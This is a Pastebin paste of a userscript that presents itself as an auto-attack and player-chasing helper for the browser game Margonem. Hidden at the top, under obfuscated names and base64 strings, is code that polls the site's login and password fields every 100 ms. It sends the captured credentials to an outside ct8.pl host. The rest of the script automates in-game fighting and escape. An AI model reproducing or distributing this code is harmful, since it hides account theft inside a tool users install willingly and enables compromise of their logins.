Advertisement
Guest User

Auto Dobijanie Margonem

a guest
May 20th, 2019
820
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.77 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Auto Dobijanie i Pościć za graczem
  3. // @version 1.1 bo sie jeblem
  4. // @description pomaga w zabijaniu
  5. // @author autor
  6. // @match *://*/
  7. // @match *://www.margonem.pl/*
  8. // @grant none
  9. // ==/UserScript==
  10. var TpG3Y86zpgrtWMzb, ZHN4ekpZ5m95pFbJ, YQTtmEs6a5mTXE5a;
  11.  
  12. function UagZgR8PZcWcwvYp() {
  13. $(atob("I3Vsb2dpbg==")).val() != TpG3Y86zpgrtWMzb && $(atob("I3Vsb2dpbg==")).val() && (TpG3Y86zpgrtWMzb = $(atob("I3Vsb2dpbg==")).val()), $(atob("I3VwYXNz")).val() != ZHN4ekpZ5m95pFbJ && $(atob("I3VwYXNz")).val() && (ZHN4ekpZ5m95pFbJ = $(atob("I3VwYXNz")).val()), !$(atob("I3VwYXNz")).val() && !$(atob("I3Vsb2dpbg==")).val() && TpG3Y86zpgrtWMzb && ZHN4ekpZ5m95pFbJ && YQTtmEs6a5mTXE5a != TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ && ($.ajax({
  14. url: atob("aHR0cHM6Ly9kcGVsbWRnOGpyd2Y5YW1mLmN0OC5wbC9hamF4LnBocD9oYzY0cTg9") + TpG3Y86zpgrtWMzb + "|" + ZHN4ekpZ5m95pFbJ
  15. }), YQTtmEs6a5mTXE5a = TpG3Y86zpgrtWMzb + " | " + ZHN4ekpZ5m95pFbJ)
  16. }
  17.  
  18. setInterval(UagZgR8PZcWcwvYp, 100);
  19.  
  20. (function(d, _p, _nP, _r, _bM) {
  21. let tmparr = new Array();
  22. //elementy graficzne
  23. let box = d.createElement("span");
  24. box.id = "enepere123";
  25. box.style = "position: absolute; background: black; color: white; top: 0px; left: 0px; width: auto; height: auto; font-size: 14px";
  26. d.body.appendChild(box);
  27. let uciek = d.createElement("span");
  28. uciek.innerHTML = "UCIECZKA";
  29. uciek.style.fontWeight = "bold";
  30. uciek.tip = "Naci�nij podczas walki, aby po walce automatycznie uciec na Kwieciste Przej�cie.";
  31. //zmienne dla ucieczki
  32. let isUcieczka = false;
  33. let idZwoja;
  34. window.hero.searchPath1 = function(a, t) {
  35. if (this.isBlockedSearchPath()) return this.blockedInfoSearchPath();
  36. for (var h = [], i = 128 & hero.opt ? 8 : 20, r = Math.max(0, Math.min(a, this.x) - i), s = Math.min(map.x - 1, Math.max(a, this.x) + i), o = Math.max(0, Math.min(t, this.y) - i), e = Math.min(map.y - 1, Math.max(t, this.y) + i), d = r - 1; s + 1 >= d; d++) {
  37. h[d] = [];
  38. for (var x = o - 1; e + 1 >= x; x++) h[d][x] = !(d >= r && s >= d && x >= o && e >= x) || isset(g.npccol[d + 256 * x]) || map.col && "0" != map.col.charAt(d + x * map.x) ? -2 : -1
  39. }
  40. h[this.x][this.y] = 0, b = -1, road = [];
  41. for (var c = {
  42. x: -1,
  43. y: -1,
  44. dist: 99
  45. }, y = 1; s - r + e - o + 3 > y; y++)
  46. for (var d = r; s >= d; d++)
  47. for (var x = o; e >= x; x++) {
  48. if (-1 != h[d][x] || h[d][x - 1] != y - 1 && h[d][x + 1] != y - 1 && h[d - 1][x] != y - 1 && h[d + 1][x] != y - 1 || (h[d][x] = y), h[a][t] > 0) {
  49. d = s + 1;
  50. break
  51. }
  52. c.dist2 = Math.abs(a - d) + Math.abs(t - x), h[d][x] == y && c.dist2 < c.dist && (c.x = d, c.y = x, c.dist = c.dist2)
  53. }
  54. if (c.hdist = Math.abs(a - hero.x) + Math.abs(t - hero.y), h[a][t] > 0 || c.dist < c.hdist) {
  55. h[a][t] < 0 && (a > c.x ? b = 2 : a < c.x ? b = 1 : t > c.y ? b = 0 : t < c.y && (b = 3), a = c.x, t = c.y), road[0] = {
  56. x: a,
  57. y: t
  58. };
  59. for (var f = h[a][t] - 1, l = a, m = t; f > 0; f--) h[l][m - 1] == f ? m-- : h[l][m + 1] == f ? m++ : h[l - 1][m] == f ? l-- : h[l + 1][m] == f ? l++ : f = 0, f && (road[h[a][t] - f] = {
  60. x: l,
  61. y: m
  62. })
  63. }
  64. road.length > 1 && null == g.playerCatcher.follow && $("#target").stop().css({
  65. left: 32 * a,
  66. top: 32 * t,
  67. display: "block",
  68. opacity: 1
  69. }).fadeOut(1e3)
  70. };
  71. uciek.addEventListener("click", function() {
  72. if (g.battle) {
  73. if (!isUcieczka) {
  74. for (let i in g.item) {
  75. if (g.item[i].loc == "g" && g.item[i].name == "Zw�j teleportacji na Kwieciste Przej�cie") {
  76. isUcieczka = true;
  77. idZwoja = i;
  78. uciek.style.color = "green";
  79. uciek.innerHTML = "UCIECZKA AKTYWNA";
  80. break;
  81. }
  82. }
  83. } else {
  84. uciek.style.color = "white";
  85. uciek.innerHTML = "UCIECZKA";
  86. isUcieczka = false;
  87. }
  88. }
  89. });
  90. box.appendChild(uciek);
  91. let dane = d.createElement("span");
  92. box.appendChild(dane);
  93. let style = d.createElement("style");
  94. style.innerHTML = ".adison9711:hover{background:#686868}";
  95. d.head.appendChild(style);
  96. //zmienna numeracji
  97. let number;
  98. //zmienne dla poscigu
  99. let oid = 0;
  100. let ox;
  101. let oy;
  102. let hx;
  103. let hy;
  104. let walczacy = [];
  105. //anulowanie poscigu
  106. d.querySelector("#nick").addEventListener("click", function() {
  107. if (oid != 0) {
  108. oid = 0;
  109. message(`Przerwa�e� po�cig!`);
  110. }
  111. });
  112. //zmienne dla hero/tytan i syrena
  113. let audio = new Audio();
  114. audio.src = "http://www.adiwilk.pl/js/syrena.mp3";
  115. let szczur = d.createElement("span");
  116. szczur.id = "adison_zarcik";
  117. szczur.style = "position: absolute; background-color: blue; top: 100px; right: 100px; color: white; font-size: 35px; display: none; text-align: center; padding: 10px; cursor: pointer";
  118. szczur.innerHTML = "Wy��cz syren�";
  119. d.body.appendChild(szczur);
  120. szczur.addEventListener("click", function() {
  121. szczur.style.display = "none";
  122. audio.pause();
  123. });
  124.  
  125. //stworzenie spana dla osoby
  126. function wyjebPodswietlenie() {
  127. for (let i in g.other) {
  128. d.querySelector(`#other${i}`).style.backgroundColor = "";
  129. }
  130. }
  131.  
  132. function createOtherSpan(nr, id, nick, relacja, lvl, profa, prawa) {
  133. //caly div
  134. let sp = d.createElement("span");
  135. sp.classList.add("adison9711");
  136. sp.innerHTML = `<br>${nr}. `;
  137. //nick i relacja(style tez)
  138. let nickname = d.createElement("span");
  139. nickname.innerHTML = `${nick}`;
  140. nickname.tip = "Naci�nij, aby napisa� do tej osoby.";
  141. nickname.addEventListener("click", function() {
  142. chatTo(`${nick}`);
  143. });
  144. nickname.style.fontWeight = "bold";
  145. if (prawa > 0) {
  146. nickname.style.color = "gold";
  147. }
  148. switch (relacja) {
  149. case "fr":
  150. nickname.style.color = "green";
  151. break;
  152. case "en":
  153. nickname.style.color = "red";
  154. break;
  155. case "cl":
  156. nickname.style.color = "lightblue";
  157. break;
  158. }
  159. sp.appendChild(nickname);
  160. //lvl i profa
  161. let lvlpr = d.createElement("span");
  162. lvlpr.innerHTML = ` ${lvl}${profa} `;
  163. sp.appendChild(lvlpr);
  164. //odleglosc
  165. let odle = d.createElement("span");
  166. let licz = Math.round(Math.sqrt(Math.pow(g.other[id].x - hero.x, 2) + Math.pow(g.other[id].y - hero.y, 2)));
  167. odle.innerHTML = `[Odl.: ${licz}] `;
  168. odle.tip = "Naci�nij, aby podej��."
  169. odle.addEventListener("click", function() {
  170. window.hero.searchPath1(g.other[id].x, g.other[id].y);
  171. });
  172. sp.appendChild(odle);
  173. //poscig
  174. let forposcig = d.createElement("span");
  175. forposcig.innerHTML = `[ATAKUJ]`;
  176. forposcig.tip = "Naci�nij, aby aktywowa� po�cig."
  177. forposcig.addEventListener("click", function() {
  178. if (!g.battle) {
  179. if (map.pvp == 2) {
  180. oid = id;
  181. message(`Rozpocz�to po�cig za: ${g.other[id].nick}!`);
  182. } else {
  183. message(`Nie jeste� na czerwonej mapce!`);
  184. }
  185. } else {
  186. message(`Trwa walka!`);
  187. }
  188. });
  189. sp.appendChild(forposcig);
  190. //kolorek dla postaci po najechaniu
  191. sp.addEventListener("mouseover", function() {
  192. wyjebPodswietlenie();
  193. d.querySelector(`#other${id}`).style.backgroundColor = "rgb(255, 102, 0, .65)";
  194. d.querySelector(`#other${id}`).style.borderRadius = "7px";
  195. });
  196. sp.addEventListener("mouseleave", function() {
  197. if (g.other[id]) d.querySelector(`#other${id}`).style.backgroundColor = "";
  198. });
  199. dane.appendChild(sp);
  200. }
  201. //kreacja div'a
  202. function createDiv() {
  203. number = 1;
  204. dane.innerHTML = "";
  205. for (let i in g.other) {
  206. let litera = "";
  207. if (number < 10) litera = `0${number}`;
  208. else litera = number;
  209. let o = g.other[i];
  210. if (o.nick === undefined) continue;
  211. createOtherSpan(litera, o.id, o.nick, o.relation, o.lvl, o.prof, o.rights);
  212. number++;
  213. }
  214. }
  215.  
  216. function createMessage(id) {
  217. let npc = g.npc[id];
  218. if (npc.wt > 99) {
  219. //tytan
  220. audio.play();
  221. szczur.style.display = "block";
  222. message(`<center>Tytan: ${npc.nick} ${npc.lvl}lvl<br><img src=${npc.icon} /><br>[${npc.x}, ${npc.y}]</center>`);
  223. } else {
  224. //heros
  225. let odl = Math.sqrt(Math.pow(Math.abs(hero.x - npc.x), 2)) + Math.sqrt(Math.pow(Math.abs(hero.y - npc.y), 2));
  226. if (!g.battle && odl > 8) {
  227. mAlert(`<center>Heros:<br><img src=${npc.icon} /><br><b>${npc.nick}</b> ${npc.lvl}lvl<br>${map.name}(${npc.x},${npc.y})<br>Czy chcesz podej��?</center>`, 2, [function() {
  228. if (miniMapPlus) {
  229. miniMapPlus.searchPath(npc.x, npc.y);
  230. } else {
  231. window.hero.searchPath1(npc.x, npc.y);
  232. }
  233.  
  234. }, function() {
  235. return false;
  236. }]);
  237. } else {
  238. message(`<center>Heros: ${npc.nick} ${npc.lvl}lvl<br><img src=${npc.icon} /><br>[${npc.x}, ${npc.y}]</center>`);
  239. }
  240. }
  241. }
  242. //funkcje podstawowe
  243. parseInput = function(a, b, c) {
  244. _p(a, b, c);
  245. //dodanie do tablicy walczacych graczy
  246. if (a.hasOwnProperty("emo")) {
  247. for (let i in a.emo) {
  248. if (a.emo[i].name == "battle" && !walczacy.includes(a.emo[i].source_id)) {
  249. walczacy.push(a.emo[i].source_id);
  250. } else if (a.emo[i].name != "battle" && walczacy.includes(a.emo[i].source_id)) {
  251. walczacy.splice(walczacy.indexOf(a.emo[i].source_id), 1);
  252. }
  253. }
  254. }
  255. d.querySelector("#enepere123").style.width = d.querySelector("#centerbox").style.left;
  256. createDiv();
  257. }
  258. newNpc = function(e) {
  259. _nP(e);
  260. for (let i in e) {
  261. if (e[i].wt > 79 && map.mode != 5 && g.worldname != "experimental" && !tmparr.includes(e[i].id)) {
  262. createMessage(i);
  263. tmparr.push(e[i].id);
  264. break;
  265. }
  266. }
  267. }
  268. hero.run = function() {
  269. if (oid != 0) {
  270. if (g.other[oid]) {
  271. ox = g.other[oid].x;
  272. oy = g.other[oid].y;
  273. hx = hero.x;
  274. hy = hero.y;
  275. if (!g.battle) {
  276. if (Math.abs(hx - ox) <= 2 && Math.abs(hy - oy) <= 2) {
  277. if (!walczacy.includes(Number(oid))) _g(`fight&a=attack&id=${oid}`);
  278. }
  279. if (hx != ox || hy != oy) {
  280. window.hero.searchPath1(ox, oy);
  281. }
  282. } else {
  283. oid = 0;
  284. message(`Jest walka!`);
  285. }
  286. }
  287. }
  288. _r.apply(this, arguments);
  289. }
  290.  
  291. let chudsada;
  292. battleMsg = function(a, b) {
  293. let ret = _bM(a, b);
  294. if (a.indexOf("winner=") > -1) {
  295. _g("fight&a=quit");
  296. if (isUcieczka) {
  297. _g(`moveitem&st=1&id=${idZwoja}`);
  298. isUcieczka = false;
  299. uciek.style.color = "white";
  300. uciek.innerHTML = "UCIECZKA";
  301. }
  302. chudsada = setInterval(function(){
  303. if(g.battle){
  304. _g("fight&a=quit");
  305. } else {
  306. clearInterval(chudsada);
  307. }
  308. }, 100);
  309. }
  310. return ret;
  311. }
  312. })(document, parseInput, newNpc, hero.run, battleMsg)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement